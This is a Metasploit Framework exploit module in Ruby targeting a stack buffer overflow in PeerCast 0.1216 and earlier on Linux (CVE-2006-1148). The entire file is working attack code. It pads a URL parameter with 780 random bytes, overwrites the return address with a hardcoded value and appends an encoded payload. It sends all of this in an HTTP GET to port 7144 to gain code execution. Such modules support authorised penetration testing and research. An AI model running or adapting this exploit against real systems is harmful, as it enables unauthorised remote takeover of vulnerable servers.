## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)', 'Description' => %q{ This module exploits a stack overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the handling of URL parameters. }, 'Author' => [ 'MC' ], 'License' => BSD_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2006-1148'], ['OSVDB', '23777'], ['BID', '17040'], ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'], ], 'Privileged' => false, 'Payload' => { 'Space' => 200, 'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b", 'MinNops' => 64, }, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ ['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }], ], 'DisclosureDate' => 'Mar 8 2006')) register_options( [ Opt::RPORT(7144) ], self.class ) end def exploit connect pat = rand_text_alphanumeric(780) pat << [target.ret].pack('V') pat << payload.encoded uri = '/stream/?' + pat res = "GET #{uri} HTTP/1.0\r\n\r\n" print_status("Trying target address 0x%.8x..." % target.ret) sock.put(res) handler disconnect end end